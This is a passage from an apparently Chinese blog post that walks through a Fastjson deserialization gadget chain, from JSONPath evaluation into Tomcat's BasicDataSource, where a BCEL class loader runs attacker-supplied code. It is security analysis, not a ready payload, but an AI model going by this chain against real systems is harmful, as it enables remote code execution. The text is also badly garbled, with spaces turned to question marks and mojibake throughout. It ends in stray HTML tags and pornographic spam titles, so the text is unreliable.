          ????????????//?最后一次循環(huán)到達這里
          ????????????return?beanSerializer.getFieldValue(currentObject,?propertyName,?propertyNameHash,?false);
          ????????}?catch?(Exception?e)?{
          ????????????throw?new?JSONPathException("jsonpath?error,?path?"?+?path?+?",?segement?"?+?propertyName,?e);
          ????????}
          ????}

          跟入com.alibaba.fastjson.serializer.JavaBeanSerializer:439

          public?Object?getFieldValue(Object?object,?String?key,?long?keyHash,?boolean?throwFieldNotFoundException)?{
          ????FieldSerializer?fieldDeser?=?getFieldSerializer(keyHash);
          ????......
          ????//?跟入
          ????return?fieldDeser.getPropertyValue(object);
          }

          跟入com.alibaba.fastjson.serializer.FieldSerializer:145

          public?Object?getPropertyValue(Object?object)?throws?InvocationTargetException,?IllegalAccessException?{
          ????Object?propertyValue?=??fieldInfo.get(object);

          到達com.alibaba.fastjson.util.FieldInfo,達到最終觸發(fā)點:method.invoke

          public?Object?get(Object?javaObject)?throws?IllegalAccessException,?InvocationTargetException?{
          ????return?method?!=?null
          ??????????????method.invoke(javaObject)
          ????????????:?field.get(javaObject);
          }

          看到這里的javaObject正是BasicDataSouce

          回到BasicDataSource本身

          public?Connection?getConnection()?throws?SQLException?{
          ????if?(Utils.IS_SECURITY_ENABLED)?{
          ????????//?跟入
          ????????final?PrivilegedExceptionAction?action?=?new?PaGetConnection();
          ????????try?{
          ????????????return?AccessController.doPrivileged(action);
          ????????}?catch?(final?PrivilegedActionException?e)?{
          ????????????final?Throwable?cause?=?e.getCause();
          ????????????if?(cause?instanceof?SQLException)?{
          ????????????????throw?(SQLException)?cause;
          ????????????}
          ????????????throw?new?SQLException(e);
          ????????}
          ????}
          ????return?createDataSource().getConnection();
          }
          ????private?class?PaGetConnection?implements?PrivilegedExceptionAction?{

          ????????@Override
          ????????public?Connection?run()?throws?SQLException?{
          ????????????//?跟入createDataSource()
          ????????????return?createDataSource().getConnection();
          ????????}
          ????}
          //?繼續(xù)跟入createConnectionFactory()
          final?ConnectionFactory?driverConnectionFactory?=?createConnectionFactory();

          最終觸發(fā)點,其中driverClassNamedriverClassLoader都是可控的,由用戶輸入,指定ClassLoader為com.sun.org.apache.bcel.internal.util.ClassLoader,設(shè)置ClassName為BCEL...這種格式后,在newInstance方法執(zhí)行后被實例化。第二個參數(shù)initial為true時,類加載后將會直接執(zhí)行static{}塊中的代碼。

          if?(driverClassLoader?==?null)?{
          ????driverFromCCL?=?Class.forName(driverClassName);
          }?else?{
          ????driverFromCCL?=?Class.forName(
          ????????driverClassName,?true,?driverClassLoader);
          }
          ...
          driverFromCCL?=?Thread.currentThread().getContextClassLoader().loadClass(driverClassName);
          ...
          driverToUse?=?(Driver)?driverFromCCL.newInstance();

          總結(jié):

          • 不需要出網(wǎng),不需要開啟特殊的參數(shù),適用范圍較廣
          • 目標需要引入tomcat依賴,雖說比較常見,但也是一種限制





          關(guān)注Java技術(shù)??锤喔韶?/strong>



          獲取 Spring Boot 實戰(zhàn)筆記!
          瀏覽 55
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                    <th id="afajh"><progress id="afajh"></progress></th>
                    欧美日高清视频免费在线播放 | 黄色黄片一片黄视频 | 中文字幕在线观看亚洲 | 热久久免费在线视频 | 国产一级a毛片 |